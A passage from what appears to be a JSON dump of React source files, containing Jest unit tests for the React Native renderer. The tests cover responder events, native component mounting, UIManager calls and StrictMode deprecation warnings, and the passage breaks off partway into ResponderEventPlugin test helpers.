RCTEventEmitter.register.mock.calls[0][0];\n\n  const View = fakeRequireNativeComponent('View', {id: true});\n\n  function getViewById(id) {\n    return UIManager.createView.mock.calls.find(\n      args => args[3] && args[3].id === id,\n    )[0];\n  }\n\n  function getResponderId() {\n    const responder = ResponderEventPlugin._getResponder();\n    if (responder === null) {\n      return null;\n    }\n    const props = responder.memoizedProps;\n    return props ? props.id : null;\n  }\n\n  const log = [];\n\n  function render(renderFirstComponent) {\n    ReactNative.render(\n      <View id=\"parent\">\n        <View key={1}>\n          {renderFirstComponent ? (\n            <View\n              id=\"one\"\n              onResponderEnd={() => log.push('one responder end')}\n              onResponderStart={() => log.push('one responder start')}\n              onStartShouldSetResponder={() => true}\n            />\n          ) : null}\n        </View>\n        <View key={2}>\n          <View\n            id=\"two\"\n            onResponderEnd={() => log.push('two responder end')}\n            onResponderStart={() => log.push('two responder start')}\n            onStartShouldSetResponder={() => true}\n          />\n        </View>\n      </View>,\n      1,\n    );\n  }\n\n  render(true);\n\n  EventEmitter.receiveTouches(\n    'topTouchStart',\n    [{target: getViewById('one'), identifier: 17}],\n    [0],\n  );\n\n  // Unmounting component 'one'.\n  render(false);\n\n  EventEmitter.receiveTouches(\n    'topTouchEnd',\n    [{target: getViewById('one'), identifier: 17}],\n    [0],\n  );\n\n  expect(getResponderId()).toBe(null);\n\n  EventEmitter.receiveTouches(\n    'topTouchStart',\n    [{target: getViewById('two'), identifier: 18}],\n    [0],\n  );\n\n  expect(getResponderId()).toBe('two');\n\n  EventEmitter.receiveTouches(\n    'topTouchEnd',\n    [{target: getViewById('two'), identifier: 18}],\n    [0],\n  );\n\n  expect(getResponderId()).toBe(null);\n\n  expect(log).toEqual([\n    'one responder start',\n    'two responder start',\n    'two responder end',\n  ]);\n});\n\n// @gate !disableLegacyMode\ntest('dispatches event with target as instance', () => {\n  const EventEmitter = RCTEventEmitter.register.mock.calls[0][0];\n\n  const View = fakeRequireNativeComponent('View', {id: true});\n\n  function getViewById(id) {\n    return UIManager.createView.mock.calls.find(\n      args => args[3] && args[3].id === id,\n    )[0];\n  }\n\n  const ref1 = React.createRef();\n  const ref2 = React.createRef();\n\n  ReactNative.render(\n    <View id=\"parent\">\n      <View\n        ref={ref1}\n        id=\"one\"\n        onResponderStart={event => {\n          expect(ref1.current).not.toBeNull();\n          // Check for referential equality\n          expect(ref1.current).toBe(event.target);\n          expect(ref1.current).toBe(event.currentTarget);\n        }}\n        onStartShouldSetResponder={() => true}\n      />\n      <View\n        ref={ref2}\n        id=\"two\"\n        onResponderStart={event => {\n          expect(ref2.current).not.toBeNull();\n          // Check for referential equality\n          expect(ref2.current).toBe(event.target);\n          expect(ref2.current).toBe(event.currentTarget);\n        }}\n        onStartShouldSetResponder={() => true}\n      />\n    </View>,\n    1,\n  );\n\n  EventEmitter.receiveTouches(\n    'topTouchStart',\n    [{target: getViewById('one'), identifier: 17}],\n    [0],\n  );\n\n  EventEmitter.receiveTouches(\n    'topTouchEnd',\n    [{target: getViewById('one'), identifier: 17}],\n    [0],\n  );\n\n  EventEmitter.receiveTouches(\n    'topTouchStart',\n    [{target: getViewById('two'), identifier: 18}],\n    [0],\n  );\n\n  EventEmitter.receiveTouches(\n    'topTouchEnd',\n    [{target: getViewById('two'), identifier: 18}],\n    [0],\n  );\n\n  expect.assertions(6);\n});\n"
  },
  {
    "path": "packages/react-native-renderer/src/__tests__/ReactNativeMount-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet StrictMode;\nlet ReactNative;\nlet createReactNativeComponentClass;\nlet UIManager;\nlet TextInputState;\nlet ReactNativePrivateInterface;\nlet act;\nlet assertConsoleErrorDev;\n\nconst DISPATCH_COMMAND_REQUIRES_HOST_COMPONENT =\n  \"dispatchCommand was called with a ref that isn't a \" +\n  'native component. Use React.forwardRef to get access to the underlying native component';\n\nconst SEND_ACCESSIBILITY_EVENT_REQUIRES_HOST_COMPONENT =\n  \"sendAccessibilityEvent was called with a ref that isn't a \" +\n  'native component. Use React.forwardRef to get access to the underlying native component';\n\ndescribe('ReactNative', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ({act, assertConsoleErrorDev} = require('internal-test-utils'));\n    StrictMode = React.StrictMode;\n    ReactNative = require('react-native-renderer');\n    ReactNativePrivateInterface = require('react-native/Libraries/ReactPrivate/ReactNativePrivateInterface');\n    UIManager =\n      require('react-native/Libraries/ReactPrivate/ReactNativePrivateInterface').UIManager;\n    createReactNativeComponentClass =\n      require('react-native/Libraries/ReactPrivate/ReactNativePrivateInterface')\n        .ReactNativeViewConfigRegistry.register;\n    TextInputState =\n      require('react-native/Libraries/ReactPrivate/ReactNativePrivateInterface').TextInputState;\n  });\n\n  // @gate !disableLegacyMode\n  it('should be able to create and render a native component', () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    ReactNative.render(<View foo=\"test\" />, 1);\n    expect(UIManager.createView).toBeCalled();\n    expect(UIManager.setChildren).toBeCalled();\n    expect(UIManager.manageChildren).not.toBeCalled();\n    expect(UIManager.updateView).not.toBeCalled();\n  });\n\n  // @gate !disableLegacyMode\n  it('should be able to create and update a native component', () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    ReactNative.render(<View foo=\"foo\" />, 11);\n\n    expect(UIManager.createView).toHaveBeenCalledTimes(1);\n    expect(UIManager.setChildren).toHaveBeenCalledTimes(1);\n    expect(UIManager.manageChildren).not.toBeCalled();\n    expect(UIManager.updateView).not.toBeCalled();\n\n    ReactNative.render(<View foo=\"bar\" />, 11);\n\n    expect(UIManager.createView).toHaveBeenCalledTimes(1);\n    expect(UIManager.setChildren).toHaveBeenCalledTimes(1);\n    expect(UIManager.manageChildren).not.toBeCalled();\n    expect(UIManager.updateView).toBeCalledWith(3, 'RCTView', {foo: 'bar'});\n  });\n\n  // @gate !disableLegacyMode\n  it('should not call UIManager.updateView after render for properties that have not changed', () => {\n    const Text = createReactNativeComponentClass('RCTText', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTText',\n    }));\n\n    ReactNative.render(<Text foo=\"a\">1</Text>, 11);\n    expect(UIManager.updateView).not.toBeCalled();\n\n    // If no properties have changed, we shouldn't call updateView.\n    ReactNative.render(<Text foo=\"a\">1</Text>, 11);\n    expect(UIManager.updateView).not.toBeCalled();\n\n    // Only call updateView for the changed property (and not for text).\n    ReactNative.render(<Text foo=\"b\">1</Text>, 11);\n    expect(UIManager.updateView).toHaveBeenCalledTimes(1);\n\n    // Only call updateView for the changed text (and no other properties).\n    ReactNative.render(<Text foo=\"b\">2</Text>, 11);\n    expect(UIManager.updateView).toHaveBeenCalledTimes(2);\n\n    // Call updateView for both changed text and properties.\n    ReactNative.render(<Text foo=\"c\">3</Text>, 11);\n    expect(UIManager.updateView).toHaveBeenCalledTimes(4);\n  });\n\n  // @gate !disableLegacyMode\n  it('should call dispatchCommand for native refs', () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    UIManager.dispatchViewManagerCommand.mockClear();\n\n    let viewRef;\n    ReactNative.render(\n      <View\n        ref={ref => {\n          viewRef = ref;\n        }}\n      />,\n      11,\n    );\n\n    expect(UIManager.dispatchViewManagerCommand).not.toBeCalled();\n    ReactNative.dispatchCommand(viewRef, 'updateCommand', [10, 20]);\n    expect(UIManager.dispatchViewManagerCommand).toHaveBeenCalledTimes(1);\n    expect(UIManager.dispatchViewManagerCommand).toHaveBeenCalledWith(\n      expect.any(Number),\n      'updateCommand',\n      [10, 20],\n    );\n  });\n\n  // @gate !disableLegacyMode\n  it('should warn and no-op if calling dispatchCommand on non native refs', () => {\n    class BasicClass extends React.Component {\n      render() {\n        return <React.Fragment />;\n      }\n    }\n\n    UIManager.dispatchViewManagerCommand.mockReset();\n\n    let viewRef;\n    ReactNative.render(\n      <BasicClass\n        ref={ref => {\n          viewRef = ref;\n        }}\n      />,\n      11,\n    );\n\n    expect(UIManager.dispatchViewManagerCommand).not.toBeCalled();\n    ReactNative.dispatchCommand(viewRef, 'updateCommand', [10, 20]);\n    assertConsoleErrorDev([DISPATCH_COMMAND_REQUIRES_HOST_COMPONENT], {\n      withoutStack: true,\n    });\n\n    expect(UIManager.dispatchViewManagerCommand).not.toBeCalled();\n  });\n\n  // @gate !disableLegacyMode\n  it('should call sendAccessibilityEvent for native refs', () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    ReactNativePrivateInterface.legacySendAccessibilityEvent.mockClear();\n\n    let viewRef;\n    ReactNative.render(\n      <View\n        ref={ref => {\n          viewRef = ref;\n        }}\n      />,\n      11,\n    );\n\n    expect(\n      ReactNativePrivateInterface.legacySendAccessibilityEvent,\n    ).not.toBeCalled();\n    ReactNative.sendAccessibilityEvent(viewRef, 'focus');\n    expect(\n      ReactNativePrivateInterface.legacySendAccessibilityEvent,\n    ).toHaveBeenCalledTimes(1);\n    expect(\n      ReactNativePrivateInterface.legacySendAccessibilityEvent,\n    ).toHaveBeenCalledWith(expect.any(Number), 'focus');\n  });\n\n  // @gate !disableLegacyMode\n  it('should warn and no-op if calling sendAccessibilityEvent on non native refs', () => {\n    class BasicClass extends React.Component {\n      render() {\n        return <React.Fragment />;\n      }\n    }\n\n    UIManager.sendAccessibilityEvent.mockReset();\n\n    let viewRef;\n    ReactNative.render(\n      <BasicClass\n        ref={ref => {\n          viewRef = ref;\n        }}\n      />,\n      11,\n    );\n\n    expect(UIManager.sendAccessibilityEvent).not.toBeCalled();\n    ReactNative.sendAccessibilityEvent(viewRef, 'updateCommand', [10, 20]);\n    assertConsoleErrorDev([SEND_ACCESSIBILITY_EVENT_REQUIRES_HOST_COMPONENT], {\n      withoutStack: true,\n    });\n\n    expect(UIManager.sendAccessibilityEvent).not.toBeCalled();\n  });\n\n  // @gate !disableLegacyMode\n  it('should not call UIManager.updateView from ref.setNativeProps for properties that have not changed', () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    UIManager.updateView.mockReset();\n\n    let viewRef;\n    ReactNative.render(\n      <View\n        foo=\"bar\"\n        ref={ref => {\n          viewRef = ref;\n        }}\n      />,\n      11,\n    );\n\n    expect(UIManager.updateView).not.toBeCalled();\n\n    viewRef.setNativeProps({});\n    expect(UIManager.updateView).not.toBeCalled();\n\n    viewRef.setNativeProps({foo: 'baz'});\n    expect(UIManager.updateView).toHaveBeenCalledTimes(1);\n    expect(UIManager.updateView).toHaveBeenCalledWith(\n      expect.any(Number),\n      'RCTView',\n      {foo: 'baz'},\n    );\n  });\n\n  // @gate !disableLegacyMode\n  it('should call UIManager.measure on ref.measure', () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    UIManager.measure.mockClear();\n\n    let viewRef;\n    ReactNative.render(\n      <View\n        ref={ref => {\n          viewRef = ref;\n        }}\n      />,\n      11,\n    );\n\n    expect(UIManager.measure).not.toBeCalled();\n    const successCallback = jest.fn();\n    viewRef.measure(successCallback);\n    expect(UIManager.measure).toHaveBeenCalledTimes(1);\n    expect(successCallback).toHaveBeenCalledTimes(1);\n    expect(successCallback).toHaveBeenCalledWith(10, 10, 100, 100, 0, 0);\n  });\n\n  // @gate !disableLegacyMode\n  it('should call UIManager.measureInWindow on ref.measureInWindow', () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    UIManager.measureInWindow.mockClear();\n\n    let viewRef;\n    ReactNative.render(\n      <View\n        ref={ref => {\n          viewRef = ref;\n        }}\n      />,\n      11,\n    );\n\n    expect(UIManager.measureInWindow).not.toBeCalled();\n    const successCallback = jest.fn();\n    viewRef.measureInWindow(successCallback);\n    expect(UIManager.measureInWindow).toHaveBeenCalledTimes(1);\n    expect(successCallback).toHaveBeenCalledTimes(1);\n    expect(successCallback).toHaveBeenCalledWith(10, 10, 100, 100);\n  });\n\n  // @gate !disableLegacyMode\n  it('should support reactTag in ref.measureLayout', () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    UIManager.measureLayout.mockClear();\n\n    let viewRef;\n    let otherRef;\n    ReactNative.render(\n      <View>\n        <View\n          foo=\"bar\"\n          ref={ref => {\n            viewRef = ref;\n          }}\n        />\n        <View\n          ref={ref => {\n            otherRef = ref;\n          }}\n        />\n      </View>,\n      11,\n    );\n\n    expect(UIManager.measureLayout).not.toBeCalled();\n    const successCallback = jest.fn();\n    const failureCallback = jest.fn();\n    viewRef.measureLayout(\n      ReactNative.findNodeHandle(otherRef),\n      successCallback,\n      failureCallback,\n    );\n    expect(UIManager.measureLayout).toHaveBeenCalledTimes(1);\n    expect(successCallback).toHaveBeenCalledTimes(1);\n    expect(successCallback).toHaveBeenCalledWith(1, 1, 100, 100);\n  });\n\n  // @gate !disableLegacyMode\n  it('should support ref in ref.measureLayout of host components', () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    UIManager.measureLayout.mockClear();\n\n    let viewRef;\n    let otherRef;\n    ReactNative.render(\n      <View>\n        <View\n          foo=\"bar\"\n          ref={ref => {\n            viewRef = ref;\n          }}\n        />\n        <View\n          ref={ref => {\n            otherRef = ref;\n          }}\n        />\n      </View>,\n      11,\n    );\n\n    expect(UIManager.measureLayout).not.toBeCalled();\n    const successCallback = jest.fn();\n    const failureCallback = jest.fn();\n    viewRef.measureLayout(otherRef, successCallback, failureCallback);\n    expect(UIManager.measureLayout).toHaveBeenCalledTimes(1);\n    expect(successCallback).toHaveBeenCalledTimes(1);\n    expect(successCallback).toHaveBeenCalledWith(1, 1, 100, 100);\n  });\n\n  // @gate !disableLegacyMode\n  it('returns the correct instance and calls it in the callback', () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    let a;\n    let b;\n    const c = ReactNative.render(\n      <View foo=\"foo\" ref={v => (a = v)} />,\n      11,\n      function () {\n        b = this;\n      },\n    );\n\n    expect(a).toBeTruthy();\n    expect(a).toBe(b);\n    expect(a).toBe(c);\n  });\n\n  // @gate !disableLegacyMode\n  it('renders and reorders children', () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {title: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    class Component extends React.Component {\n      render() {\n        const chars = this.props.chars.split('');\n        return (\n          <View>\n            {chars.map(text => (\n              <View key={text} title={text} />\n            ))}\n          </View>\n        );\n      }\n    }\n\n    // Mini multi-child stress test: lots of reorders, some adds, some removes.\n    const before = 'abcdefghijklmnopqrst';\n    const after = 'mxhpgwfralkeoivcstzy';\n\n    ReactNative.render(<Component chars={before} />, 11);\n    expect(UIManager.__dumpHierarchyForJestTestsOnly()).toMatchInlineSnapshot(`\n      \"<native root> {}\n        RCTView null\n          RCTView {\"title\":\"a\"}\n          RCTView {\"title\":\"b\"}\n          RCTView {\"title\":\"c\"}\n          RCTView {\"title\":\"d\"}\n          RCTView {\"title\":\"e\"}\n          RCTView {\"title\":\"f\"}\n          RCTView {\"title\":\"g\"}\n          RCTView {\"title\":\"h\"}\n          RCTView {\"title\":\"i\"}\n          RCTView {\"title\":\"j\"}\n          RCTView {\"title\":\"k\"}\n          RCTView {\"title\":\"l\"}\n          RCTView {\"title\":\"m\"}\n          RCTView {\"title\":\"n\"}\n          RCTView {\"title\":\"o\"}\n          RCTView {\"title\":\"p\"}\n          RCTView {\"title\":\"q\"}\n          RCTView {\"title\":\"r\"}\n          RCTView {\"title\":\"s\"}\n          RCTView {\"title\":\"t\"}\"\n    `);\n\n    ReactNative.render(<Component chars={after} />, 11);\n    expect(UIManager.__dumpHierarchyForJestTestsOnly()).toMatchInlineSnapshot(`\n      \"<native root> {}\n        RCTView null\n          RCTView {\"title\":\"m\"}\n          RCTView {\"title\":\"x\"}\n          RCTView {\"title\":\"h\"}\n          RCTView {\"title\":\"p\"}\n          RCTView {\"title\":\"g\"}\n          RCTView {\"title\":\"w\"}\n          RCTView {\"title\":\"f\"}\n          RCTView {\"title\":\"r\"}\n          RCTView {\"title\":\"a\"}\n          RCTView {\"title\":\"l\"}\n          RCTView {\"title\":\"k\"}\n          RCTView {\"title\":\"e\"}\n          RCTView {\"title\":\"o\"}\n          RCTView {\"title\":\"i\"}\n          RCTView {\"title\":\"v\"}\n          RCTView {\"title\":\"c\"}\n          RCTView {\"title\":\"s\"}\n          RCTView {\"title\":\"t\"}\n          RCTView {\"title\":\"z\"}\n          RCTView {\"title\":\"y\"}\"\n    `);\n  });\n\n  // @gate !disableLegacyMode\n  it('calls setState with no arguments', () => {\n    let mockArgs;\n    class Component extends React.Component {\n      componentDidMount() {\n        this.setState({}, (...args) => (mockArgs = args));\n      }\n      render() {\n        return false;\n      }\n    }\n\n    ReactNative.render(<Component />, 11);\n    expect(mockArgs.length).toEqual(0);\n  });\n\n  // @gate !disableLegacyMode\n  it('should not throw when <View> is used inside of a <Text> ancestor', () => {\n    const Image = createReactNativeComponentClass('RCTImage', () => ({\n      validAttributes: {},\n      uiViewClassName: 'RCTImage',\n    }));\n    const Text = createReactNativeComponentClass('RCTText', () => ({\n      validAttributes: {},\n      uiViewClassName: 'RCTText',\n    }));\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {},\n      uiViewClassName: 'RCTView',\n    }));\n\n    ReactNative.render(\n      <Text>\n        <View />\n      </Text>,\n      11,\n    );\n\n    // Non-View things (e.g. Image) are fine\n    ReactNative.render(\n      <Text>\n        <Image />\n      </Text>,\n      11,\n    );\n  });\n\n  // @gate !disableLegacyMode\n  it('should throw for text not inside of a <Text> ancestor', async () => {\n    const ScrollView = createReactNativeComponentClass('RCTScrollView', () => ({\n      validAttributes: {},\n      uiViewClassName: 'RCTScrollView',\n    }));\n    const Text = createReactNativeComponentClass('RCTText', () => ({\n      validAttributes: {},\n      uiViewClassName: 'RCTText',\n    }));\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {},\n      uiViewClassName: 'RCTView',\n    }));\n\n    await expect(async () => {\n      await act(() => ReactNative.render(<View>this should warn</View>, 11));\n    }).rejects.toThrow(\n      'Text strings must be rendered within a <Text> component.',\n    );\n\n    await expect(async () => {\n      await act(() =>\n        ReactNative.render(\n          <Text>\n            <ScrollView>hi hello hi</ScrollView>\n          </Text>,\n          11,\n        ),\n      );\n    }).rejects.toThrow(\n      'Text strings must be rendered within a <Text> component.',\n    );\n  });\n\n  // @gate !disableLegacyMode\n  it('should not throw for text inside of an indirect <Text> ancestor', () => {\n    const Text = createReactNativeComponentClass('RCTText', () => ({\n      validAttributes: {},\n      uiViewClassName: 'RCTText',\n    }));\n\n    const Indirection = () => 'Hi';\n\n    ReactNative.render(\n      <Text>\n        <Indirection />\n      </Text>,\n      11,\n    );\n  });\n\n  // @gate !disableLegacyMode\n  it('findHostInstance_DEPRECATED should warn if used to find a host component inside StrictMode', () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    let parent = undefined;\n    let child = undefined;\n\n    class ContainsStrictModeChild extends React.Component {\n      render() {\n        return (\n          <StrictMode>\n            <View ref={n => (child = n)} />\n          </StrictMode>\n        );\n      }\n    }\n\n    ReactNative.render(<ContainsStrictModeChild ref={n => (parent = n)} />, 11);\n\n    const match = ReactNative.findHostInstance_DEPRECATED(parent);\n    assertConsoleErrorDev([\n      'findHostInstance_DEPRECATED is deprecated in StrictMode. ' +\n        'findHostInstance_DEPRECATED was passed an instance of ContainsStrictModeChild which renders StrictMode children. ' +\n        'Instead, add a ref directly to the element you want to reference. ' +\n        'Learn more about using refs safely here: ' +\n        'https://react.dev/link/strict-mode-find-node' +\n        '\\n    in RCTView (at **)' +\n        '\\n    in ContainsStrictModeChild (at **)',\n    ]);\n    expect(match).toBe(child);\n  });\n\n  // @gate !disableLegacyMode\n  it('findHostInstance_DEPRECATED should warn if passed a component that is inside StrictMode', () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    let parent = undefined;\n    let child = undefined;\n\n    class IsInStrictMode extends React.Component {\n      render() {\n        return <View ref={n => (child = n)} />;\n      }\n    }\n\n    ReactNative.render(\n      <StrictMode>\n        <IsInStrictMode ref={n => (parent = n)} />\n      </StrictMode>,\n      11,\n    );\n\n    const match = ReactNative.findHostInstance_DEPRECATED(parent);\n    assertConsoleErrorDev([\n      'findHostInstance_DEPRECATED is deprecated in StrictMode. ' +\n        'findHostInstance_DEPRECATED was passed an instance of IsInStrictMode which is inside StrictMode. ' +\n        'Instead, add a ref directly to the element you want to reference. ' +\n        'Learn more about using refs safely here: ' +\n        'https://react.dev/link/strict-mode-find-node' +\n        '\\n    in RCTView (at **)' +\n        '\\n    in IsInStrictMode (at **)',\n    ]);\n    expect(match).toBe(child);\n  });\n\n  // @gate !disableLegacyMode\n  it('findNodeHandle should warn if used to find a host component inside StrictMode', () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    let parent = undefined;\n    let child = undefined;\n\n    class ContainsStrictModeChild extends React.Component {\n      render() {\n        return (\n          <StrictMode>\n            <View ref={n => (child = n)} />\n          </StrictMode>\n        );\n      }\n    }\n\n    ReactNative.render(<ContainsStrictModeChild ref={n => (parent = n)} />, 11);\n\n    const match = ReactNative.findNodeHandle(parent);\n    assertConsoleErrorDev([\n      'findNodeHandle is deprecated in StrictMode. ' +\n        'findNodeHandle was passed an instance of ContainsStrictModeChild which renders StrictMode children. ' +\n        'Instead, add a ref directly to the element you want to reference. ' +\n        'Learn more about using refs safely here: ' +\n        'https://react.dev/link/strict-mode-find-node' +\n        '\\n    in RCTView (at **)' +\n        '\\n    in ContainsStrictModeChild (at **)',\n    ]);\n    expect(match).toBe(child._nativeTag);\n  });\n\n  // @gate !disableLegacyMode\n  it('findNodeHandle should warn if passed a component that is inside StrictMode', () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    let parent = undefined;\n    let child = undefined;\n\n    class IsInStrictMode extends React.Component {\n      render() {\n        return <View ref={n => (child = n)} />;\n      }\n    }\n\n    ReactNative.render(\n      <StrictMode>\n        <IsInStrictMode ref={n => (parent = n)} />\n      </StrictMode>,\n      11,\n    );\n\n    const match = ReactNative.findNodeHandle(parent);\n    assertConsoleErrorDev([\n      'findNodeHandle is deprecated in StrictMode. ' +\n        'findNodeHandle was passed an instance of IsInStrictMode which is inside StrictMode. ' +\n        'Instead, add a ref directly to the element you want to reference. ' +\n        'Learn more about using refs safely here: ' +\n        'https://react.dev/link/strict-mode-find-node' +\n        '\\n    in RCTView (at **)' +\n        '\\n    in IsInStrictMode (at **)',\n    ]);\n    expect(match).toBe(child._nativeTag);\n  });\n\n  // @gate !disableLegacyMode\n  it('blur on host component calls TextInputState', () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    const viewRef = React.createRef();\n    ReactNative.render(<View ref={viewRef} />, 11);\n\n    expect(TextInputState.blurTextInput).not.toBeCalled();\n\n    viewRef.current.blur();\n\n    expect(TextInputState.blurTextInput).toHaveBeenCalledTimes(1);\n    expect(TextInputState.blurTextInput).toHaveBeenCalledWith(viewRef.current);\n  });\n\n  // @gate !disableLegacyMode\n  it('focus on host component calls TextInputState', () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    const viewRef = React.createRef();\n    ReactNative.render(<View ref={viewRef} />, 11);\n\n    expect(TextInputState.focusTextInput).not.toBeCalled();\n\n    viewRef.current.focus();\n\n    expect(TextInputState.focusTextInput).toHaveBeenCalledTimes(1);\n    expect(TextInputState.focusTextInput).toHaveBeenCalledWith(viewRef.current);\n  });\n});\n"
  },
  {
    "path": "packages/react-native-renderer/src/__tests__/ResponderEventPlugin-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\n// This test is a hot mess. It heavily uses internals and relies on DOM even\n// though the responder plugin is only used in React Native. Sadness ensues.\n// The coverage is valuable though, so we will keep it for now.\nconst {HostComponent} = require('react-reconciler/src/ReactWorkTags');\n\nlet EventBatching;\nlet EventPluginUtils;\nlet ResponderEventPlugin;\n\nconst touch = function (nodeHandle, i) {\n  return {target: nodeHandle, identifier: i};\n};\n\nfunction injectComponentTree(ComponentTree) {\n  EventPluginUtils.setComponentTree(\n    ComponentTree.getFiberCurrentPropsFromNode,\n    ComponentTree.getInstanceFromNode,\n    ComponentTree.getNodeFromInstance,\n  );\n}\n\n/**\n * @param {NodeHandle} nodeHandle @see NodeHandle. Handle of target.\n * @param {Array<Touch>} touches All active touches.\n * @param {Array<Touch>} changedTouches Only the touches that have changed.\n * @return {TouchEvent} Model of a touch event that is compliant with responder\n * system plugin.\n */\nconst touchEvent = function (nodeHandle, touches, changedTouches) {\n  return {\n    target: nodeHandle,\n    changedTouches: changedTouches,\n    touches: touches,\n  };\n};\n\nconst subsequence = function (arr, indices) {\n  const ret = [];\n  for (let i = 0; i < indices.length; i++) {\n    const index = indices[i];\n    ret.push(arr[index]);\n  }\n  return ret;\n};\n\nconst antiSubsequence = function (arr, indices) {\n  const ret = [];\n  for (let i = 0; i < arr.length; i++) {\n    if (indices.indexOf(i) === -1) {\n      ret.push(arr[i]);\n    }\n  }\n  return ret;\n};\n\n/**\n * Helper for creating touch test config data.\n * @param allTouchHandles\n */\nconst _touchConfig = function (\n  topType,\n  targetNodeHandle,\n  allTouchHandles,\n  changedIndices,\n  eventTarget,\n) {\n  const allTouchObjects = allTouchHandles.map(touch);\n  const changedTouchObjects = subsequence(allTouchObjects, changedIndices);\n  const activeTouchObjects =\n    topType === 'topTouchStart'\n      ? allTouchObjects\n      : topType === 'topTouchMove'\n        ? allTouchObjects\n        : topType === 'topTouchEnd'\n          ? antiSubsequence(allTouchObjects, changedIndices)\n          : topType === 'topTouchCancel'\n            ? antiSubsequence(allTouchObjects, changedIndices)\n            : null;\n\n  return {\n    nativeEvent: touchEvent(\n      targetNodeHandle,\n      activeTouchObjects,\n      changedTouchObjects,\n    ),\n    topLevelType: topType,\n    targetInst: getInstanceFromNode(targetNodeHandle),\n  };\n};\n\n/**\n * Creates test data for touch events using environment agnostic \"node\n * handles\".\n *\n * @param {NodeHandle} nodeHandle Environment agnostic handle to DOM node.\n * @param {Array<NodeHandle>} allTouchHandles Encoding of all \"touches\" in the\n * form of a mapping from integer (touch `identifier`) to touch target. This is\n * encoded in array form. Because of this, it is possible for two separate\n * touches (meaning two separate indices) to have the same touch target ID -\n * this corresponds to real world cases where two separate unique touches have\n * the same target. These touches don't just represent all active touches,\n * rather it also includes any touches that are not active, but are in the\n * process of being removed.\n * @param {Array<NodeHandle>} changedIndices Indices of `allTouchHandles` that\n * have changed.\n * @return {object} Config data used by test cases for extracting responder\n * events.\n */\nconst startConfig = function (nodeHandle, allTouchHandles, changedIndices) {\n  return _touchConfig(\n    'topTouchStart',\n    nodeHandle,\n    allTouchHandles,\n    changedIndices,\n    nodeHandle,\n  );\n};\n\n/**\n * @see `startConfig`\n */\nconst moveConfig = function (nodeHandle, allTouchHandles, changedIndices) {\n  return _touchConfig(\n    'topTouchMove',\n    nodeHandle,\n    allTouchHandles,\n    changedIndices,\n    nodeHandle,\n  );\n};\n\n/**\n * @see `startConfig`\n */\nconst endConfig = function (nodeHandle, allTouchHandles, changedIndices) {\n  return _touchConfig(\n    'topTouchEnd',\n    nodeHandle,\n    allTouchHandles,\n    changedIndices,\n    nodeHandle,\n  );\n};\n\n/**\n * Test config for events that aren't negotiation related, but rather result of\n * a negotiation.\n *\n * Returns object of the form:\n *\n *     {\n *       responderReject: {\n *         // Whatever \"readableIDToID\" was passed in.\n *         grandParent: {order: NA, assertEvent: null, returnVal: blah},\n *         ...\n *         child: {order: NA, assertEvent: null, returnVal: blah},\n *       }\n *       responderGrant: {\n *         grandParent: {order: NA, assertEvent: null, returnVal: blah},\n *         ...\n *         child: {order: NA, assertEvent: null, returnVal: blah}\n *       }\n *       ...\n *     }\n *\n * After this is created, a test case would configure specific event orderings\n * and optional assertions. Anything left with an `order` of `NA` will be\n * required to never be invoked (the test runner will make sure it throws if\n * ever invoked).\n *\n */\nconst NA = -1;\nconst oneEventLoopTestConfig = function (readableIDToID) {\n  const ret = {\n    // Negotiation\n    scrollShouldSetResponder: {bubbled: {}, captured: {}},\n    startShouldSetResponder: {bubbled: {}, captured: {}},\n    moveShouldSetResponder: {bubbled: {}, captured: {}},\n    responderTerminationRequest: {},\n\n    // Non-negotiation\n    responderReject: {}, // These do not bubble capture.\n    